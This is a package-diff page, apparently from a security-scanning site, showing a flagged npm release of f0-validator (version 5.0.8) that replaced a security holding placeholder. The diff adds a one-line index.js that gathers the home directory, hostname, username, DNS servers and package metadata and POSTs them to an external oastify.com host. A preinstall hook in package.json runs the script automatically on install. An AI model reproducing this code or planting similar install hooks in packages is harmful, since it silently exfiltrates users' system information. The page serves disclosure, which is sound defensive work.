f0-validator 0.0.1-security → 5.0.8
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of f0-validator might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const os=require("os");const dns=require("dns");const querystring=require("querystring");const https=require("https");const packageJSON=require("./package.json");const package=packageJSON.name;const trackingData=JSON.stringify({p:package,c:__dirname,hd:os.homedir(),hn:os.hostname(),un:os.userInfo().username,dns:dns.getServers(),r:packageJSON?packageJSON.___resolved:undefined,v:packageJSON.version,pjson:packageJSON});var postData=querystring.stringify({msg:trackingData});var options={hostname:"qpjw7bvg5ov51rua11o4fv7lnct3ht5i.oastify.com",port:443,path:"/",method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded","Content-Length":postData.length}};var req=https.request(options,res=>{res.on("data",d=>{process.stdout.write(d)})});req.on("error",e=>{});req.write(postData);req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "f0-validator",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "5.0.8",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": ""
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=f0-validator for more information.
|